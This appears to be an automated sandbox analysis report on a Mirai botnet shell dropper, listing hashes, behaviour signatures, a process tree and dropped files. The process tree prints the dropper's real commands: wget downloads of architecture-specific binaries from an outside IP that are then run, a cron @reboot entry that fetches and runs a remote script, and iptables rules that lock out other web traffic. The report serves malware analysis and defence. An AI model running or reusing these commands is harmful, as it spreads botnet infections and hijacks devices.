Analysis

  • max time kernel
    129s
  • max time network
    145s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    29-12-2024 02:42

General

  • Target

    c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8.sh

  • Size

    1KB

  • MD5

    f1bc5c9578ad5b69e09a58a6b3721b64

  • SHA1

    b7ce08c279c3c9c846a9f8edb4214e7fc4a40d72

  • SHA256

    c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8

  • SHA512

    5afccb744365dc43090fa8c18e965708c3e45f8239268a31e2453cc3c32ff7bab095fc1718d2f89d3c597770c973a000722b4cba95c78896b1e63a92dba93788

Malware Config

Extracted

Family

mirai

Botnet

BOTNET

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Unexpected DNS network traffic destination 2 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8.sh
    /tmp/c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8.sh
    1⤵
    • Writes file to shm directory
    • Writes file to tmp directory
    PID:1506
    • /usr/bin/killall
      killall -9 dvrLocker
      2⤵
      • Reads runtime system information
      PID:1507
    • /usr/bin/cut
      cut -d " " -f 2
      2⤵
        PID:1513
      • /bin/grep
        grep -v noexe
        2⤵
          PID:1512
        • /bin/grep
          grep rw
          2⤵
            PID:1511
          • /bin/grep
            grep tmpfs
            2⤵
              PID:1510
            • /bin/cat
              cat /proc/mounts
              2⤵
                PID:1509
              • /bin/rm
                rm -rf .a .f
                2⤵
                  PID:1514
                • /bin/rm
                  rm -rf .a .f
                  2⤵
                    PID:1515
                  • /bin/rm
                    rm -rf .a .f
                    2⤵
                      PID:1516
                    • /bin/cp
                      cp /proc/self/exe .f
                      2⤵
                        PID:1518
                      • /bin/chmod
                        chmod 777 .f
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1520
                      • /bin/rm
                        rm -rf upnp
                        2⤵
                          PID:1521
                        • /usr/bin/wget
                          wget http://103.188.82.218/t/arm -O -
                          2⤵
                            PID:1522
                          • /bin/chmod
                            chmod 777 upnp
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1526
                          • /run/user/0/upnp
                            ./upnp tplink.arm
                            2⤵
                            • Executes dropped EXE
                            PID:1527
                          • /usr/bin/wget
                            wget http://103.188.82.218/t/arm5 -O -
                            2⤵
                              PID:1529
                            • /bin/chmod
                              chmod 777 upnp
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1530
                            • /run/user/0/upnp
                              ./upnp tplink.arm5
                              2⤵
                              • Executes dropped EXE
                              PID:1531
                            • /usr/bin/wget
                              wget http://103.188.82.218/t/arm6 -O -
                              2⤵
                                PID:1533
                              • /bin/chmod
                                chmod 777 upnp
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1534
                              • /run/user/0/upnp
                                ./upnp tplink.arm6
                                2⤵
                                • Executes dropped EXE
                                PID:1535
                              • /usr/bin/wget
                                wget http://103.188.82.218/t/arm6 -O -
                                2⤵
                                  PID:1537
                                • /bin/chmod
                                  chmod 777 upnp
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:1538
                                • /run/user/0/upnp
                                  ./upnp tplink.arm6
                                  2⤵
                                  • Executes dropped EXE
                                  PID:1539
                                • /usr/bin/wget
                                  wget http://103.188.82.218/t/mips -O -
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:1541
                                • /bin/chmod
                                  chmod 777 upnp
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:1542
                                • /run/user/0/upnp
                                  ./upnp tplink.mips
                                  2⤵
                                  • Executes dropped EXE
                                  • System Network Configuration Discovery
                                  PID:1543
                                • /usr/bin/wget
                                  wget http://103.188.82.218/t/mpsl -O -
                                  2⤵
                                    PID:1545
                                  • /bin/chmod
                                    chmod 777 upnp
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1546
                                  • /run/user/0/upnp
                                    ./upnp tplink.mpsl
                                    2⤵
                                    • Executes dropped EXE
                                    PID:1547
                                  • /usr/bin/wget
                                    wget http://103.188.82.218/t/ppc -O -
                                    2⤵
                                      PID:1549
                                    • /bin/chmod
                                      chmod 777 upnp
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:1550
                                    • /run/user/0/upnp
                                      ./upnp tplink.ppc
                                      2⤵
                                      • Executes dropped EXE
                                      PID:1551
                                    • /usr/bin/wget
                                      wget http://103.188.82.218/t/x86 -O -
                                      2⤵
                                        PID:1553
                                      • /bin/chmod
                                        chmod 777 upnp
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:1554
                                      • /run/user/0/upnp
                                        ./upnp tplink.x86
                                        2⤵
                                        • Executes dropped EXE
                                        • Renames itself
                                        • Changes its process name
                                        PID:1555
                                        • /bin/sh
                                          sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
                                          3⤵
                                          • File and Directory Permissions Modification
                                          PID:1556
                                          • /usr/bin/crontab
                                            crontab -
                                            4⤵
                                            • Creates/modifies Cron job
                                            PID:1558
                                          • /usr/bin/crontab
                                            crontab -l
                                            4⤵
                                              PID:1559
                                        • /sbin/iptables
                                          iptables -A INPUT -p tcp --dport 443 -s 95.214.53.205 -j ACCEPT
                                          2⤵
                                            PID:1561
                                          • /sbin/iptables
                                            iptables -A INPUT -p tcp --dport 80 -s 95.214.53.205 -j ACCEPT
                                            2⤵
                                              PID:1566
                                            • /sbin/iptables
                                              iptables -A INPUT -p tcp --dport 8081 -s 95.214.53.205 -j ACCEPT
                                              2⤵
                                                PID:1567
                                              • /sbin/iptables
                                                iptables -A INPUT -p tcp --dport 8080 -s 95.214.53.205 -j ACCEPT
                                                2⤵
                                                  PID:1568
                                                • /sbin/iptables
                                                  iptables -A INPUT -p tcp --dport 8888 -s 95.214.53.205 -j ACCEPT
                                                  2⤵
                                                    PID:1569
                                                  • /sbin/iptables
                                                    iptables -A INPUT -p tcp --dport 443 -j DROP
                                                    2⤵
                                                      PID:1570
                                                    • /sbin/iptables
                                                      iptables -A INPUT -p tcp --dport 80 -j DROP
                                                      2⤵
                                                        PID:1571
                                                      • /sbin/iptables
                                                        iptables -A INPUT -p tcp --dport 8081 -j DROP
                                                        2⤵
                                                          PID:1572
                                                        • /sbin/iptables
                                                          iptables -A INPUT -p tcp --dport 8080 -j DROP
                                                          2⤵
                                                            PID:1573
                                                          • /sbin/iptables
                                                            iptables -A INPUT -p tcp --dport 8888 -j DROP
                                                            2⤵
                                                              PID:1574

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • /run/user/0/.f

                                                            Filesize

                                                            138KB

                                                            MD5

                                                            f7d53f25b67715fd4959eb7787de7902

                                                            SHA1

                                                            27860d9e8de0d83600fdbb4e8734af72fa638e50

                                                            SHA256

                                                            007d90bd141b2cdbd3cbc5e5f472b3144d122440c73a46d58ee61df2dd71e56e

                                                            SHA512

                                                            14283c5f84a96eac1a8bcd495c52105dbef9bb0fe0404dde3e5eb7531ab54bedd83e4ccfadb23c5572533979887aca54745854d3bf05cc30306e23b9713b5a3c

                                                          • /run/user/0/upnp

                                                            Filesize

                                                            73KB

                                                            MD5

                                                            f812a7b3a877f717eb6e54b843b41848

                                                            SHA1

                                                            21ee67d9a9b638621646e1b57fdc0f1eb0bdfa25

                                                            SHA256

                                                            9a7e77eff17b6bab95e53989adca31512823cf0c92a342a1b7e2ca445d9bb560

                                                            SHA512

                                                            c236138e33d6d68c2bf4a6f5a4289070089b5bdb4ee153bc9f317e6ed5da00cb3b2117c68f427d0d58b072a7d453c728f5471c257e752b3514a1077b6978a732

                                                          • /run/user/0/upnp

                                                            Filesize

                                                            85KB

                                                            MD5

                                                            d8b9115310ca0429f6ec2473696156a2

                                                            SHA1

                                                            5497d765ad0b6ad6ed2204338faecd9671f6a60c

                                                            SHA256

                                                            7f089801a37f1d9a83a5103c8f9b1c6fc00f9ce699cb812cc23704aea8d46c8c

                                                            SHA512

                                                            a3adc2f2a36bdf40bda9e592f03bf51c3a3e7954fbeb8e52d1517537c72efc7df2d22e8be0d1ac85b768aacb45bd77cabb0ced0885ac96c17252b8af63cdb664

                                                          • /run/user/0/upnp

                                                            Filesize

                                                            99KB

                                                            MD5

                                                            559f129d380ad1cfb60792c6b2dc3d32

                                                            SHA1

                                                            3997a0fc0bd5958783f1751364ec407c5b170adc

                                                            SHA256

                                                            fbdbd0392519e49a09e647d8c83046fb15d6dcbb8246ee2f813d10018ba8ac3d

                                                            SHA512

                                                            9f5c39334121b5bde6a282f47b92a841130627f1554ff5089005c371af4c2be5ddc467ad594013fa2fb70a55172b6ba7a6caf50c0cba56564170e482955dc112

                                                          • /run/user/0/upnp

                                                            Filesize

                                                            100KB

                                                            MD5

                                                            6eacc766bbc8a29a3c5b247214052e51

                                                            SHA1

                                                            c214bd410358cb95ca8f71f90780a8d064319683

                                                            SHA256

                                                            cb727a0517434be1c4b64e19182888e449be71fadcca1a6bfb60fc8791d1d13d

                                                            SHA512

                                                            e3cdf8154cbd7b6769533eb3c0aebec3a9e62242a218068a7105b0f0df023cb42c2366f48f720a4534b6265cc8997617e947cb0ae9a0bb04394754185819c0a9

                                                          • /run/user/0/upnp

                                                            Filesize

                                                            77KB

                                                            MD5

                                                            d09db60a70d5b53b5b53ad39476fd7e8

                                                            SHA1

                                                            73a75e5e8200f77d857a7256cc0979077e29241d

                                                            SHA256

                                                            36b5ad3793ba15e920ea49a43467610bfce85149afc12af166a56bb2011a9165

                                                            SHA512

                                                            ea6156cf3b4480fef088a1fefd8bd1845418606a412a8ab883734e2d297e6169de35456ecd2a5738967ef310066482069262171329624d28184a919cefb21c04

                                                          • /var/spool/cron/crontabs/tmp.KUoglz

                                                            Filesize

                                                            306B

                                                            MD5

                                                            b8fef4bc5a30d1deb2fb54b44f46b31e

                                                            SHA1

                                                            ee7be664a63371d927dea7227c43d0861717976e

                                                            SHA256

                                                            35815a647b45259bcf0d47b133b827fbdf2a730eb42ff677c7ec2a9288c97505

                                                            SHA512

                                                            8d5e9b603c33fdb5ff7817481f8f641ace7de371b69604f5f87fc4c8cebaa4d0e8dc44d6ca7d304b702550ea6efe3b03ba6a50f3adf3bb8d98e9acbc0e31e75c